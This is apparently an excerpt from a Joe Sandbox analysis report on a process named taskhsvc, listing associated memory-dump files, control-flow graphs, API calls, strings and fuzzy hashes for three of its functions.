                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$aborttime
                                                                                                                          • String ID: $../src/or/main.c$4$conn
                                                                                                                          • API String ID: 343379102-3612735202
                                                                                                                          • Opcode ID: eda2fb94c1b1f65daf3bd956d9a73e41ba2c58ef39b4b0b899d039bd5e6db350
                                                                                                                          • Instruction ID: 2950e03d8d3fca04f18a9eacab50a3e99555d62e9174e9e6ea2acea8eff6ad74
                                                                                                                          • Opcode Fuzzy Hash: eda2fb94c1b1f65daf3bd956d9a73e41ba2c58ef39b4b0b899d039bd5e6db350
                                                                                                                          • Instruction Fuzzy Hash: EF5126B09083559FCB00EFA5C44A7AEBBF0EF40704F05885DE4D8AB252D778D984DB62
                                                                                                                          Function 00E16A10 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109filememoryCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 746 e16a10-e16a7e fwrite vfprintf abort 748 e16a84-e16a8f 746->748 749 e16b5d-e16b5f 746->749 751 e16a90-e16a94 748->751 750 e16aae-e16abc call e173e0 749->750 757 e16ac2-e16b0b call e17510 VirtualQuery 750->757 758 e16b9a-e16bb7 call e16a10 750->758 752 e16aa4-e16aac 751->752 753 e16a96-e16a9e 751->753 752->750 752->751 753->752 755 e16b56-e16b5c 753->755 764 e16b7a-e16b91 757->764 765 e16b0d-e16b17 757->765 766 e16bc0-e16c12 call e17460 call e17670 758->766 767 e16bb9 758->767 764->758 768 e16b95 call e16a10 764->768 769 e16b19-e16b1f 765->769 770 e16b4f 765->770 778 e16cb3-e16cba 766->778 779 e16c18-e16c1b 766->779 768->758 769->770 772 e16b21-e16b4d VirtualProtect 769->772 770->755 772->770 774 e16b64-e16b75 GetLastError call e16a10 772->774 774->764 780 e16c21-e16c28 779->780 781 e16d80 779->781 783 e16cbb 780->783 784 e16c2e-e16c35 780->784 782 e16d85-e16d89 781->782 785 e16cc0-e16cc6 782->785 786 e16d8f-e16d94 782->786 783->785 784->783 787 e16c3b-e16c48 784->787 785->778 790 e16cc8-e16cc9 785->790 788 e16c53-e16c59 786->788 789 e16d9a 786->789 787->782 791 e16c4e 787->791 793 e16e4b-e16e5b call e16a10 788->793 794 e16c5f-e16c68 788->794 789->785 792 e16cd0-e16cf5 call e16a70 790->792 791->788 805 e16cf7-e16d00 792->805 794->778 797 e16c6a-e16c8b 794->797 800 e16c91-e16c94 797->800 801 e16d9f-e16dcd call e16a70 797->801 802 e16c9a-e16c9d 800->802 803 e16e0f-e16e24 call e16a70 800->803 813 e16dd4-e16ddd 801->813 806 e16ca3-e16cae call e16a10 802->806 807 e16de8-e16e0d call e16a70 802->807 803->813 809 e16d02 805->809 810 e16d0f-e16d24 805->810 806->778 807->813 809->778 815 e16d04-e16d0d 810->815 816 e16d26-e16d46 VirtualQuery 810->816 813->797 818 e16de3 813->818 815->778 815->810 820 e16e26-e16e46 call e16a10 816->820 821 e16d4c-e16d75 VirtualProtect 816->821 818->805 820->793 821->815
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: Virtual$ProtectQueryabortfwritevfprintf
                                                                                                                          • String ID: @
                                                                                                                          • API String ID: 1503958624-2766056989
                                                                                                                          • Opcode ID: 3343f06dbe9ab935d8e416eaa65356f7f43c5221c76b3615a249244fa4e04b4a
                                                                                                                          • Instruction ID: d5f3f39c9395c7e872bf4620ac6c416cb4a1a7feae29cdfa4aedfa8411c68648
                                                                                                                          • Opcode Fuzzy Hash: 3343f06dbe9ab935d8e416eaa65356f7f43c5221c76b3615a249244fa4e04b4a
                                                                                                                          • Instruction Fuzzy Hash: B1411BB69093018FC710EF29D984A9ABBE0BF84354F45992DE899F7310E735E885CB91
                                                                                                                          Function 00BE625A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 823 be625a-be626e call ccc627 call c3f792 call c7b282 830 be628a-be6291 823->830 831 be6270-be627e call cedb94 823->831 833 be630e-be6315 830->833 834 be6293-be62db call e0c2b0 call e0c3ea 830->834 831->830 840 be6280-be6285 831->840 835 be63dc 833->835 836 be631b-be63a9 call c3f792 call e0c2b0 call e0c3ea 833->836 834->833 851 be62dd-be6309 call d36562 call d39764 abort 834->851 842 be63e1-be63ea 835->842 843 be63dc call be65ef 835->843 836->835 856 be63ab-be63d7 call d36562 call d39764 abort 836->856 840->842 846 be63ec __stack_chk_fail 842->846 847 be63f1-be63f2 842->847 843->842 846->847 851->833 856->835
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00CCC627: event_new.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE625F), ref: 00CCC691
                                                                                                                            • Part of subcall function 00CCC627: event_add.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BE625F), ref: 00CCC6AB
                                                                                                                            • Part of subcall function 00CCC627: __stack_chk_fail.LIBSSP-0 ref: 00CCC722
                                                                                                                            • Part of subcall function 00C3F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C26074), ref: 00C3F7B2
                                                                                                                            • Part of subcall function 00C7B282: __stack_chk_fail.LIBSSP-0 ref: 00C7B2C4
                                                                                                                          • abort.MSVCRT ref: 00BE6309
                                                                                                                          • abort.MSVCRT ref: 00BE63D7
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BE63EC
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort$event_addevent_new
                                                                                                                          • String ID: $$../src/or/main.c$`"$<_"
                                                                                                                          • API String ID: 436055055-502782751
                                                                                                                          • Opcode ID: 9eee02e562ff45b6417e386cdcb391d9c99bfd64a62a346b1251aae538b0ddc6
                                                                                                                          • Instruction ID: 1f63766427499d298bbad45a54098646fecccc07def5dce3e9039d619c8b7911
                                                                                                                          • Opcode Fuzzy Hash: 9eee02e562ff45b6417e386cdcb391d9c99bfd64a62a346b1251aae538b0ddc6
                                                                                                                          • Instruction Fuzzy Hash: EE414C70A083418FC744EF7AD94666EBBE5EB84344F00D92DE488EB295EB78D944CB52
                                                                                                                          Function 00BEA737 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 95COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
